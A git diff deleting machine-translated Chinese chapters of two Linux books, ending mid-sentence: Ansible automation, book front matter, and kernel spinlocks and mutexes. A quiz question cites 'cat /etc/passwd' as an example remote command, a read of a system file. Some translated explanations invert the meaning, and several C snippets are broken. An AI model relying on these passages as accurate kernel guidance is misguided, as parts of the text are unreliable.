和防火墙的角色 - -剧本包含两个任务——一个使用`weareactive.ufw`角色(第 6-15 行),另一个使用`flatkey.firewalld`角色(第 17-28 行)。 这两个任务在第 15 行和第 28 行分别有条件语句,只在它们支持的平台上运行。 防火墙在端口`80`上启用 HTTP 访问。 - -让我们用以下命令运行剧本: - -```sh -ansible-playbook firewall.yml -``` - -现在,我们可以通过 HTTP 访问所有的 web 服务器。 下面是使用`curl`命令对`web1`web 服务器进行的快速测试: - -```sh -curl http://web1 -``` - -至此,我们已经提供了关于 Ansible 角色和 Galaxy 的探索性观点。 角色是 Ansible 的一个强大功能,而 Galaxy 也为其带来了社区支持。 它们使现代系统管理员和 DevOps 能够快速地从概念过渡到实现,加速日常配置管理工作流的部署。 - -# 总结 - -在本章中,我们讨论了关于 Ansible 的重要内容。 由于本章的范围有限,我们无法捕捉到 Ansible 的大量特性。 然而,我们试图提供该平台的总体视图,从 Ansible 的架构原则到配置和使用特定命令和剧本。 您了解了如何使用几个托管主机和一个控制节点设置 Ansible 环境,从而在较高的级别上模拟真实的部署。 您还熟悉了为典型的配置管理任务编写 Ansible 命令和脚本。 本章中呈现的大部分命令和剧本与日常管理操作非常相似。 - -无论您是系统管理员还是 DevOps,是经验丰富的专业人员,还是即将成为专业人员,我们希望本章为您的日常 Linux 管理任务和自动化工作流带来新的见解。 您在这里学到的工具和技术将为您编写脚本和自动化日常管理程序的大部分工作提供一个良好的开端。 - -同样的结束语也适用于这本书。 在学习和掌握本地环境和云环境中一些最典型的 Linux 管理任务方面,您已经取得了长足的进步。 - -希望你能享受我们一起的旅程。 - -# 问题 - -让我们通过完成下面的小测验来总结我们在本章中学到的一些基本概念: - -1. 在 Ansible 中什么是幂等运算或命令? -2. 您希望对托管主机设置无密码身份验证。 你应该遵循哪些步骤? -3. 检查与所有托管主机的通信的临时命令是什么? -4. 列举几个 Ansible 模块。 尝试设想一个可以使用每个模块的配置管理场景。 -5. 在远程主机上运行任意 shell 操作或进程的临时命令是什么,比如`cat /etc/passwd`? -6. 使用`ping`模块用单个任务编写一个简单的剧本。 -7. 编写剧本,将当前目录复制到远程主机。 -8. 您必须将秘密 API 密钥部署到每个主机的一个定义良好的位置,每个主机都有自己的 API 密钥。 您将如何设计和实现这个功能? -9. 设想一个简单的剧本,它监视主机上可用的内存,如果内存超过给定的阈值,它将通知您。 -10. 找到用于在 Linux 系统上创建用户的 Ansible Galaxy 角色。 在一个简单的剧本中使用这个角色来创建一些任意的用户。 - -# 进一步阅读 - -以下是一些我们发现有助于了解更多关于 Ansible 内部结构的资源: - -* Ansible 文档:[https://docs.ansible.com/](https://docs.ansible.com/) -* *Ansible Use Cases*,by Red Hat:[https://www.ansible.com/use-cases](https://www.ansible.com/use-cases) -* *深入 Ansible——从新手到专家 Ansible[视频]*,*詹姆斯 Spurin*,*Packt 出版*(【https://www.packtpub.com/product/dive-into-ansible-from-beginner-to-expert-in-ansible-video/9781801076937 T6】) -* *实用 Ansible 2*,在*丹尼尔哦*,*詹姆斯•弗里曼**法比奥亚历桑德罗·Locati*、【显示】Packt 出版([https://www.packtpub.com/product/practical-ansible-2/9781789807462](https://www.packtpub.com/product/practical-ansible-2/9781789807462))*** \ No newline at end of file diff --git a/docs/master-linux-admin/README.md b/docs/master-linux-admin/README.md deleted file mode 100644 index c9757469..00000000 --- a/docs/master-linux-admin/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 管理 - -> 原文:[Mastering Linux Administration](https://libgen.rs/book/index.php?md5=BC997E7C6B3B022A741EFE162560B1CA) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-linux-admin/SUMMARY.md b/docs/master-linux-admin/SUMMARY.md deleted file mode 100644 index a8d3d22f..00000000 --- a/docs/master-linux-admin/SUMMARY.md +++ /dev/null @@ -1,20 +0,0 @@ -+ [精通 Linux 管理](README.md) -+ [零、前言](00.md) -+ [第一部分:Linux 基本管理](sec1.md) - + [一、安装 Linux](01.md) - + [二、Linux 文件系统](02.md) - + [三、Linux 软件管理](03.md) - + [四、管理用户和组](04.md) - + [五、处理进程、守护进程和信号](05.md) -+ [第二部分:高级 Linux 服务器管理](sec2.md) - + [六、使用磁盘和文件系统](06.md) - + [七、Linux 网络](07.md) - + [八、配置 Linux 服务器](08.md) - + [九、Linux 安全](09.md) - + [十、灾难恢复、诊断和故障处理](10.md) -+ [第三部分:云管理](sec3.md) - + [十一、使用容器和虚拟机](11.md) - + [十二、云计算基础](12.md) - + [十三、使用 AWS 和 Azure 部署到云](13.md) - + [十四、使用 Kubernetes 部署应用](14.md) - + [十五、使用 Ansible 实现工作流自动化](15.md) diff --git a/docs/master-linux-admin/sec1.md b/docs/master-linux-admin/sec1.md deleted file mode 100644 index 969f1461..00000000 --- a/docs/master-linux-admin/sec1.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第一部分:Linux 基本管理 - -在第一节中,您将掌握 Linux 命令行和基本的管理任务,例如管理用户、包、文件、服务、进程、信号和磁盘。 - -本书的这一部分由以下几章组成: - -* [*第 1 章*](01.html#_idTextAnchor014)*,安装 Linux* -* [*第二章*](02.html#_idTextAnchor036)*,Linux 文件系统* -* [*第三章*](03.html#_idTextAnchor056)*,Linux 软件管理* -* [*第四章*](04.html#_idTextAnchor073)*,管理用户和组* -* [*第五章*](05.html#_idTextAnchor085)*,与进程,守护进程和信号一起工作* \ No newline at end of file diff --git a/docs/master-linux-admin/sec2.md b/docs/master-linux-admin/sec2.md deleted file mode 100644 index cd3138de..00000000 --- a/docs/master-linux-admin/sec2.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第二部分:高级 Linux 服务器管理 - -在本节中,您将通过设置不同类型的服务器了解高级 Linux 服务器管理任务,并了解 Linux 服务器安全性并加强其安全性。 - -本书的这一部分由以下几章组成: - -* [*第六章*](06.html#_idTextAnchor111)*,与磁盘和文件系统一起工作* -* [*第七章*](07.html#_idTextAnchor126)*,Linux 网络* -* [*第八章*](08.html#_idTextAnchor152)*,配置 Linux 服务器* -* [*第九章*](09.html#_idTextAnchor157)*,锁定 Linux* -* [*第十章*](10.html#_idTextAnchor175)*,容灾,诊断,故障处理* \ No newline at end of file diff --git a/docs/master-linux-admin/sec3.md b/docs/master-linux-admin/sec3.md deleted file mode 100644 index d247db46..00000000 --- a/docs/master-linux-admin/sec3.md +++ /dev/null @@ -1,11 +0,0 @@ -# 第三部分:云管理 - -在本节中,您将了解与云计算相关的高级概念。 在本节结束时,您将熟练地使用特定的工具并将 Linux 部署到云中。 - -本书的这一部分由以下几章组成: - -* [*第 11 章*](11.html#_idTextAnchor192)*,与容器和虚拟机一起工作* -* [*第十二章*](12.html#_idTextAnchor212)*,云计算要领* -* [*第 13 章*](13.html#_idTextAnchor239)*AWS 和 Azure 云部署* -* [*第十四章*](14.html#_idTextAnchor252)*Kubernetes 应用部署* -* [*第 15 章*](15.html#_idTextAnchor268)*,Ansible 自动化工作流* \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/00.md b/docs/master-linux-device-driver-dev/00.md deleted file mode 100644 index fc85b85e..00000000 --- a/docs/master-linux-device-driver-dev/00.md +++ /dev/null @@ -1,117 +0,0 @@ -# 零、前言 - -Linux 是世界上发展最快的操作系统之一,在过去的几年中,随着其改进的子系统和许多新功能,Linux 内核已经显著地发展为支持各种各样的嵌入式设备。 - -*精通 Linux 设备驱动开发*全面涵盖了视频和音频框架等通常不涉及的内核主题。 您将深入研究一些最复杂和最有影响力的 Linux 内核框架,例如 PCI、ALSA for SoC 和 Video4Linux2,并在此过程中获得专家提示和最佳实践。 除此之外,您还将学习如何利用 NVMEM 和 WatchDog 等框架。 一旦本书让您开始使用 Linux 内核帮助器,您将逐渐了解如何使用特殊的设备类型,如**多功能设备**(**MFD**),然后是视频和音频设备驱动。 - -到本书结束时,您将能够编写坚如磐石的设备驱动,并将它们与一些最复杂的 Linux 内核框架集成在一起,包括 V4L2 和 ALSA SoC。 - -# 这本书是给谁看的 - -本书主要面向嵌入式爱好者和开发人员、Linux 系统管理员和内核黑客。 无论您是软件开发人员、系统架构师还是制造商(电子产品爱好者),如果您想深入研究 Linux 驱动开发,这本书都适合您。 - -# 这本书涵盖了哪些内容 - -[*第 1 章*](01.html#_idTextAnchor015),*面向嵌入式开发人员的 Linux 内核概念*介绍了用于锁定、阻塞 I/O、延迟工作和中断管理的 Linux 内核帮助器。 - -[*第 2 章*](02.html#_idTextAnchor030),*利用 Regmap API 和简化代码*概述 Regmap 框架,并说明如何利用其 API 简化中断管理和抽象寄存器访问。 - -[*第 3 章*](03.html#_idTextAnchor039)*深入研究 MFD 子系统和 Syscon API*,重点介绍 Linux 内核中的 MFD 驱动、它们的 API 和它们的结构,并介绍`syscon`和`simple-mfd`帮助器。 - -[*第 4 章*](04.html#_idTextAnchor047),*冲击公共时钟框架*解释了 Linux 内核时钟框架,并探索了生产者和消费者设备驱动,以及它们的设备树绑定。 - -[*第 5 章*](05.html#_idTextAnchor124),*ALSA SoC 框架-利用编解码器和平台类驱动*,讨论编解码器和平台设备的 ALSA 驱动开发,并介绍`kcontrol`和**数字音频电源管理**(**DAPM**)等概念。 - -[*第 6 章*](06.html#_idTextAnchor204),*ALSA SoC 框架-深入研究机器类驱动*,深入研究 ALSA 机器类驱动开发,并向您展示如何将编解码器和平台绑定在一起,以及如何定义音频路由。 - -[*第 7 章*](07.html#_idTextAnchor287),*揭开 V4L2 和视频捕获设备驱动的神秘面纱*描述了 V4L2 的关键概念。 它主要介绍网桥视频设备,引入子设备的概念,并介绍它们各自的设备驱动。 - -[*第 8 章*](08.html#_idTextAnchor342),*与 V4L2 异步和媒体控制器框架*集成,介绍了异步探测的概念,因此您不必关心网桥和子设备探测顺序。 最后,本章介绍了媒体控制器框架,以提供视频路由和视频管道定制。 - -[*第 9 章*](09.html#_idTextAnchor396),*利用用户空间的 V4L2 API*结束了我们关于 V4L2 的教学系列,并从用户空间处理 V4L2。 它首先教您如何编写 C 代码,以便从视频设备打开、配置和获取数据。 然后向您展示如何利用与用户空间视频相关的工具(如`v4l2-ctl`和`media-ctl`)编写尽可能少的代码。 - -[*第 10 章*](10.html#_idTextAnchor455),*Linux 内核电源管理*讨论基于 Linux 的系统上的电源管理,并教您如何编写节能设备驱动。 - -[*第 11 章*](11.html#_idTextAnchor519),*编写 PCI 设备驱动*处理 PCI 子系统,并向您介绍其 Linux 内核实现。 本章还介绍如何编写 PCI 设备驱动。 - -[*第 12 章*](12.html#_idTextAnchor608),*利用 NVMEM 框架*描述了 Linux**非易失性存储器**(**NVEM**)子系统。 它首先教您如何编写提供者和使用者驱动以及它们的设备树绑定。 然后,它将向您展示如何最大限度地利用设备的用户空间。 - -[*第 13 章*](13.html#_idTextAnchor633),*看门狗设备驱动*提供了 Linux 内核看门狗子系统的准确描述。 它首先向您介绍 Watchdog 设备驱动,然后逐步带您了解子系统的核心,并介绍一些关键概念,如预超时和调控器。 接近尾声时,本章将教您如何从用户空间管理子系统。 - -[*第 14 章*](14.html#_idTextAnchor673),*Linux 内核调试提示和最佳实践*重点介绍了使用内核嵌入式工具(如`ftrace`和 OOPS 消息分析)最常用的 Linux 内核调试和跟踪技术。 - -# 充分利用这本书 - -为了最大限度地利用本书,需要一些 C 和系统编程知识。 此外,本书的内容假定您熟悉 Linux 系统及其大部分基本命令。 - -![](img/Preface_Table.jpg) - -上表中未列出的任何必要的软件包将在各自的章节中进行说明。 - -**如果您使用的是这本书的电子版,我们建议您自己键入代码。 这样做可以帮助您避免与复制和粘贴代码相关的任何潜在错误。** - -# 下载彩色图片 - -我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。 您可以在此处下载:[http://www.packtpub.com/sites/default/files/downloads/9781789342048_ColorImages.pdf](http://www.packtpub.com/sites/default/files/downloads/9781789342048_ColorImages.pdf)。 - -# 使用的惯例 - -本书中使用了许多文本约定。 - -`Code in text`:指示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。 这里有一个例子:“这里没有使用任何`request_irq()`系列方法请求父 IRQ,因为`gpiochip_set_chained_irqchip()`将在幕后调用`irq_set_chained_handler_and_data()`。” - -代码块设置如下: - -```sh -static int fake_probe(struct i2c_client *client, const struct i2c_device_id *id) -{ - [...] - mutex_init(&data->mutex); - [...] -} -``` - -当我们希望您注意代码块的特定部分时,相关行或项将以粗体显示: - -```sh -static int __init my_init(void) -{ - pr_info('Wait queue example\n'); - INIT_WORK(&wrk, work_handler); - schedule_work(&wrk); - pr_info('Going to sleep %s\n', __FUNCTION__); - wait_event_interruptible(my_wq, condition != 0); - pr_info('woken up by the work job\n'); - return 0;} -``` - -任何命令行输入或输出都如下所示: - -```sh -# echo 1 >/sys/module/printk/parameters/time -# cat /sys/module/printk/parameters/time -``` - -**粗体**:表示您在屏幕上看到的新术语、重要单词或单词。 这里有一个例子:“引入了**Simple-mfd**helper 来处理零 conf/hacks 子设备注册,引入了**syscon**来与其他设备共享设备的内存区域。” - -提示或重要说明 - -看起来就像这样。 - -# 保持联系 - -欢迎读者的反馈。 - -**一般反馈**:如果您对本书的任何方面有疑问,请在邮件主题中提及书名,并向我们发送电子邮件至`customercare@packtpub.com`。 - -**勘误表**:虽然我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果您在这本书中发现了错误,请向我们报告,我们将不胜感激。 请访问[www.Packtpub.com/support/errata](http://www.packtpub.com/support/errata),选择您的图书,单击勘误表提交表链接,然后输入详细信息。 - -**盗版**:如果您在互联网上遇到任何形式的非法复制我们的作品,请您提供地址或网站名称,我们将不胜感激。 请拨打`copyright@packt.com`与我们联系,并提供该材料的链接。 - -**如果您有兴趣成为一名作者**:如果有一个您擅长的主题,并且您有兴趣撰写或投稿一本书,请访问[Auths.Packtpub.com](http://authors.packtpub.com)。 - -# 评论 - -请留下评论。 一旦你阅读并使用了这本书,为什么不在你购买它的网站上留下评论呢? 这样,潜在读者就可以看到并使用您不偏不倚的意见来做出购买决定,我们 Packt 可以了解您对我们产品的看法,我们的作者也可以看到您对他们的书的反馈。 谢谢! - -有关 Packt 的更多信息,请访问[Packt.com](http://packt.com)。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/01.md b/docs/master-linux-device-driver-dev/01.md deleted file mode 100644 index a8e4d88d..00000000 --- a/docs/master-linux-device-driver-dev/01.md +++ /dev/null @@ -1,1444 +0,0 @@ -# 一、面向嵌入式开发人员的 Linux 内核概念 - -作为一个独立的软件,Linux 内核实现了一组功能,这些功能有助于避免重复发明轮子并简化设备驱动的开发。 这些帮助器的重要性在于,上游接受的代码不需要使用这些帮助器。 这是驱动依赖的内核。 我们将在本书中介绍这些核心功能中最流行的部分,尽管也存在其他功能。 在讨论如何保护共享对象和避免争用条件之前,我们将先看一下内核锁定 API。 然后,我们将研究各种可用的工作延迟机制,在这些机制中,您将了解在哪个执行上下文中延迟代码的哪一部分。 最后,您将了解中断是如何工作的,以及如何在 Linux 内核中设计中断处理程序。 - -本章将介绍以下主题: - -* 内核锁定 API 和共享对象 -* 工作延迟机制 -* Linux 内核中断管理 - -我们开始吧! - -# 技术要求 - -要理解和遵循本章的内容,您需要以下内容: - -* 具备高级计算机体系结构知识和 C 编程技能 -* Linux 内核 4.19 源代码,可从[https://github.com/torvalds/linux](https://github.com/torvalds/linux)获得 - -# 内核锁定 API 和共享对象 - -资源被称为,当它可以被多个竞争者访问时,而不考虑它们的独占。 当它们是独占的时,访问必须同步,以便只有被允许的竞争者才能拥有资源。 这些资源可能是内存位置或外围设备,而竞争者可能是处理器、进程或线程。 操作系统通过原子(即,通过可以中断的操作)修改保存资源当前状态的变量来执行互斥,使其对可能同时访问该变量的所有竞争者可见。 这种原子性保证了修改要么成功,要么根本不成功。 如今,现代操作系统依赖于用于实现同步的硬件(应该允许原子操作),尽管一个简单的系统可以通过禁用关键代码段周围的中断(并避免调度)来确保原子性。 - -在本节中,我们将介绍以下两种同步机制: - -* **锁**:用于互斥。 当一个竞争者持有锁时,没有其他竞争者可以持有它(其他竞争者被排除在外)。 内核中最广为人知的锁定原语是自旋锁和互斥锁。 -* **条件变量**:主要用于检测或等待状态更改。 正如我们稍后将看到的,这些在内核中的实现方式不同,主要是在 Linux 内核部分的*等待、感测和阻塞中。* - -当涉及到锁定时,这取决于硬件是否允许通过原子操作进行这样的同步。 然后内核使用它们来实现锁定功能。 同步基元是用于协调对共享资源的访问的数据结构。 因为只有一个竞争者可以持有锁(从而访问共享资源),所以它可能会在与锁关联的资源上执行对其他竞争者看起来是原子的任意操作。 - -除了处理给定共享资源的独占所有权之外,还有更好的情况是等待资源的状态更改;例如,等待列表包含至少一个对象(其状态随后从空变为非空)或等待任务完成(例如,DMA 事务)。 Linux 内核不实现条件变量。 在我们的用户空间中,我们可以考虑对这两种情况使用条件变量,但为了实现相同甚至更好的效果,内核提供了以下机制: - -* **等待队列**:主要用于等待状态改变。 它被设计成与锁协同工作。 -* **完成队列**:用于等待给定计算完成。 - -这两种机制都受到 Linux 内核的支持,并且由于减少了组 API(这在开发人员使用时极大地简化了它们的使用)而向驱动公开。 我们将在接下来的几节中讨论这些问题。 - -## 自旋锁 - -自旋锁是一种基于硬件的锁定原语。 它依赖于手头硬件的能力来提供原子操作(例如`test_and_set`,在非原子实现中,这将导致读取、修改和写入操作)。 自旋锁本质上是在不允许休眠或根本不需要休眠的原子上下文中使用的(例如,在中断中,或者当您想要禁用抢占时),但也用作 CPU 间锁定原语。 - -它是最简单的锁定原语,也是基础锁定原语。 它的工作方式如下: - -![Figure 1.1 – Spinlock contention flow ](img/Figure_1.1_B10985.jpg) - -图 1.1-自旋锁争用流 - -让我们来看看下面的场景:当正在运行任务 B 的 CPUB 由于 Spinlock 的锁定函数而想要获取 Spinlock,并且这个 Spinlock 已经被另一个 CPU 持有时(假设 CPUA 正在运行任务 A,该任务 A 已经调用了这个 Spinlock 的锁定函数),那么 CPUB 将简单地围绕 While 循环旋转,从而阻塞任务 B,直到另一个 CPU 释放锁(任务 A 调用 Spinlock 的 Release 函数)。 这种旋转只会在多核机器上发生,这就是为什么前面描述的用例(因为它在单核机器上,涉及多个 CPU)不会发生:任务要么持有自旋锁并继续执行,要么在锁被释放之前不运行。 我过去常说,自旋锁是由 CPU 持有的锁,这与互斥体(我们将在下一节讨论这一点)相对,互斥体是由任务持有的锁。 自旋锁通过禁用本地 CPU(即运行调用自旋锁的锁定 API 的任务的 CPU)上的调度程序来运行。 这也意味着当前在该 CPU 上运行的任务不能被另一个任务抢占,除非 IRQ 没有被禁用(稍后将详细介绍)。 换句话说,自旋锁保护一次只有一个 CPU 可以使用/访问的资源。 这使得自旋锁适用于 SMP 安全和执行原子任务。 - -重要音符 - -自旋锁并不是唯一利用硬件原子功能的实现。 例如,在 Linux 内核中,抢占状态取决于每个 CPU 变量,如果该变量等于 0,则表示启用了抢占。 但是,如果它大于 0,这意味着抢占被禁用(`schedule()`变为无效)。 因此,禁用抢占(`preempt_disable(`)包括将当前的每 CPU 变量(实际上是`preempt_count`)加 1,而`preempt_enable()`从变量中减去 1(1),检查新值是否为 0,并调用`schedule()`。 这些加/减操作应该是原子的,因此依赖于 CPU 能够提供原子加/减功能。 - -有两种方法创建和初始化自旋锁:一种是静态使用`DEFINE_SPINLOCK`宏(它将声明并初始化自旋锁),另一种是通过在未初始化的自旋锁上调用`spin_lock_init()`来动态创建和初始化自旋锁。 - -首先,我们将介绍如何使用`DEFINE_SPINLOCK`宏。 要了解其工作原理,我们必须查看`include/linux/spinlock_types.h`中此宏的定义,如下所示: - -```sh -#define DEFINE_SPINLOCK(x) spinlock_t x = __SPIN_LOCK_UNLOCKED(x) -``` - -这可以按如下方式使用: - -```sh -static DEFINE_SPINLOCK(foo_lock) -``` - -在此之后,可以通过其名称`foo_lock`访问自旋锁。 请注意,它的地址将是`&foo_lock`。 但是,对于动态(运行时)分配,您需要将自旋锁嵌入到更大的结构中,为该结构分配内存,然后在自旋锁元素上调用`spin_lock_init()`: - -```sh -struct bigger_struct {    spinlock_t lock;    unsigned int foo;    [...]}; -static struct bigger_struct *fake_alloc_init_function(){    struct bigger_struct *bs;    bs = kmalloc(sizeof(struct bigger_struct), GFP_KERNEL);    if (!bs)        return -ENOMEM;    spin_lock_init(&bs->lock);    return bs;} -``` - -最好尽可能使用`DEFINE_SPINLOCK`。 它提供编译时初始化,并且需要更少的代码行,没有真正的缺点。 在此阶段,我们可以使用`spin_lock()`和`spin_unlock()`内联函数锁定/解锁自旋锁,这两个函数都在`include/linux/spinlock.h`中定义: - -```sh -void spin_unlock(spinlock_t *lock) -void spin_lock(spinlock_t *lock) -``` - -这就是说,以这种方式使用自旋锁是有一些限制的。 尽管自旋锁阻止本地 CPU 上的抢占,但它不能防止该 CPU 被中断占用(因此,执行该中断的处理程序)。 想象一下这样一种情况:CPU 保持“自旋锁”以保护给定的资源,并发生中断。 CPU 将停止其当前任务,并向外分支到该中断处理程序。 到现在为止还好。 现在,假设这个 IRQ 处理程序需要获取相同的自旋锁(您可能已经猜到该资源是与中断处理程序共享的)。 它将无限旋转到位,试图获取已被它抢占的任务锁定的锁。 这种情况被称为僵局。 - -为了解决此问题,Linux 内核为自旋锁提供了`_irq`个变体函数,除了禁用/启用抢占之外,还禁用/启用本地 CPU 上的中断。 这些函数是`spin_lock_irq()`和`spin_unlock_irq()`,它们的定义如下: - -```sh -void spin_unlock_irq(spinlock_t *lock); -void spin_lock_irq(spinlock_t *lock); -``` - -您可能认为这个解决方案足够了,但事实并非如此。 `_irq`变体部分解决了这个问题。 想象一下,在代码开始锁定之前,处理器上的中断已经被禁用。 因此,当您调用`spin_unlock_irq()`时,您不仅会释放锁,而且还会启用中断。 但是,这可能会以错误的方式发生,因为`spin_unlock_irq()`无法知道锁定前启用了哪些中断,哪些没有启用。 - -下面是一个简短的示例: - -1. 假设中断*x*和*y*在获取自旋锁之前被禁用,而*z*没有。 -2. `spin_lock_irq()`将禁用中断(现在禁用*x*、*y*和*z*)并锁定。 -3. `spin_unlock_irq()`将启用中断。 *x*、*y*和*z*都将被启用,在获取锁之前不是这样。 这就是问题所在。 - -当从脱离上下文的 IRQ 调用`spin_lock_irq()`时,这使得`spin_lock_irq()`变得不安全,因为它的对等物`spin_unlock_irq()`将幼稚地启用 IRQ,并冒着启用那些在调用`spin_lock_irq()`时未启用的 IRQ 的风险。 只有当您知道中断已启用时,使用`spin_lock_irq()`才有意义;也就是说,您确定没有其他东西可能禁用了本地 CPU 上的中断。 - -现在,假设您在获取锁并将它们恢复到释放时的状态之前,将中断的状态保存在一个变量中。 在这种情况下,就不会有更多的问题了。 为了实现这一点,内核提供了`_irqsave`个变体函数。 它们的行为与`_irq`相同,同时还保存和恢复中断状态功能。 这些函数是`spin_lock_irqsave()`和`spin_lock_irqrestore()`,定义如下: - -```sh -spin_lock_irqsave(spinlock_t *lock, unsigned long flags) -spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) -``` - -重要音符 - -`spin_lock()`和它的所有变体都会自动调用`preempt_disable()`,从而在本地 CPU 上禁用抢占。 另一方面,`spin_unlock()`及其变体调用`preempt_enable()`,它尝试启用(是,尝试!-这取决于其他自旋锁是否锁定,这将影响抢占计数器的值)抢占,如果启用,则在内部调用`schedule()`(取决于计数器的当前值,应为 0)。 `spin_unlock()`则是抢占点,可能会重新启用抢占。 - -### 禁用中断与仅禁用抢占 - -虽然禁用中断可能会阻止内核抢占(调度程序的计时器中断将被禁用),但没有什么能阻止受保护的部分调用调度程序(`schedule()`函数)。 许多内核函数间接调用调度器,例如处理自旋锁的函数。 因此,即使是一个简单的`printk()`函数也可以调用调度器,因为它处理保护内核消息缓冲区的自旋锁。 内核通过增加或减少名为`preempt_count`的内核全局变量和每个 CPU 变量(默认为 0,表示“启用”)来禁用或启用调度程序(执行抢占)。 当此变量大于 0(由`schedule()`函数检查)时,调度程序只返回,不执行任何操作。 每次调用与 SPIN_LOCK*相关的帮助器时,此变量都会增加 1。另一方面,释放 Spinlock(任何`spin_unlock*`系列函数)会将其减去 1,并且每当它达到 0 时,就会调用调度程序,这意味着您的临界区不会是非常原子性的。 - -因此,如果代码本身不触发抢占,则只能通过禁用中断来保护它不被抢占。 也就是说,锁定自旋锁的代码可能不会休眠,因为没有办法唤醒它(请记住,本地 CPU 上的计时器中断和调度程序是禁用的)。 - -现在我们已经熟悉了自旋锁及其子实用程序,让我们来看看互斥体,这是我们的第二个锁定原语。 - -## Mutex - -互斥是我们将在本章中讨论的另一个锁定原语。 它的行为类似于自旋锁,唯一的区别是您的代码可以休眠。 如果您试图锁定已被另一个任务持有的互斥体,您的任务将发现自己被挂起,并且只有在该互斥体被释放时才会被唤醒。 这一次没有旋转,这意味着在您的任务等待时,CPU 可以处理其他事情。 正如我前面提到的,*自旋锁是由 CPU 持有的锁,而互斥体是由任务持有的锁*。 - -互斥是一个简单的数据结构,它嵌入一个等待队列(使竞争者进入睡眠状态),而自旋锁保护对该等待队列的访问。 下面是`struct mutex`的外观: - -```sh -struct mutex { -    atomic_long_t owner; -    spinlock_t wait_lock; -#ifdef CONFIG_MUTEX_SPIN_ON_OWNER -    struct optimistic_spin_queue osq; /* Spinner MCS lock */ -#endif -    struct list_head wait_list; -[...] -}; -``` - -在前面的代码中,出于可读性考虑,删除了仅在调试模式下使用的元素。 但是,正如您所看到的,互斥锁构建在自旋锁之上。 `owner`表示实际拥有(持有)锁的进程。 `wait_list`是互斥锁的竞争者进入休眠状态的列表。 `wait_lock`是在竞争者插入并进入睡眠状态时保护`wait_list`的自旋锁。 这有助于在 SMP 系统上保持`wait_list`的一致性。 - -互斥 API 可以在`include/linux/mutex.h`头文件中找到。 在获取和释放互斥锁之前,必须对其进行初始化。 对于其他内核核心数据结构,可能存在静态初始化,如下所示: - -```sh -static DEFINE_MUTEX(my_mutex); -``` - -下面是`DEFINE_MUTEX()`宏的定义: - -```sh -#define DEFINE_MUTEX(mutexname) \ -        struct mutex mutexname = __MUTEX_INITIALIZER(mutexname) -``` - -内核提供的第二种方法是动态初始化。 这可以通过调用低级别的`__mutex_init()`函数来实现,该函数实际上被称为`mutex_init()`的更加用户友好的宏所包装: - -```sh -struct fake_data { -    struct i2c_client *client; -    u16 reg_conf; -    struct mutex mutex; -}; -static int fake_probe(struct i2c_client *client,                       const struct i2c_device_id *id) -{ -    [...] -    mutex_init(&data->mutex); -    [...] -} -``` - -获取(也称为锁定)互斥锁与调用以下三个函数之一一样简单: - -```sh -void mutex_lock(struct mutex *lock); -int mutex_lock_interruptible(struct mutex *lock); -int mutex_lock_killable(struct mutex *lock); -``` - -如果互斥锁是空闲的(未锁定),您的任务将立即获取它,而不会进入休眠状态。 否则,您的任务将以取决于您使用的锁定函数的方式进入休眠状态。 使用`mutex_lock()`时,您的任务将处于不可中断的休眠状态(`TASK_UNINTERRUPTIBLE`),同时等待互斥被释放(以防它被另一个任务持有)。 `mutex_lock_interruptible()`将使您的任务进入可中断的睡眠状态,在此状态下,睡眠可以被任何信号中断。 `mutex_lock_killable()`将允许中断任务的睡眠,但只能由实际终止任务的信号中断。 如果锁已成功获取,则两个函数都返回零。 此外,当锁定尝试被信号中断时,可中断的变体返回`-EINTR`。 - -无论使用哪种锁定函数,互斥锁拥有者(并且只有拥有者)应该使用`mutex_unlock()`释放互斥锁,定义如下: - -```sh -void mutex_unlock(struct mutex *lock); -``` - -如果希望检查互斥体的状态,可以使用`mutex_is_locked()`: - -```sh -static bool mutex_is_locked(struct mutex *lock) -``` - -该函数只检查互斥锁所有者是否为`NULL`,如果是,则返回 TRUE,否则返回 FALSE。 - -重要音符 - -只有在可以保证互斥体不会长时间持有的情况下,才推荐使用`mutex_lock()`。 通常,您应该改用可中断变量。 - -使用互斥锁时有特定的规则。 最重要的是在内核的互斥 API 头文件`include/linux/mutex.h`中枚举。 以下是其中的一段摘录: - -```sh - * - only one task can hold the mutex at a time - * - only the owner can unlock the mutex - * - multiple unlocks are not permitted - * - recursive locking is not 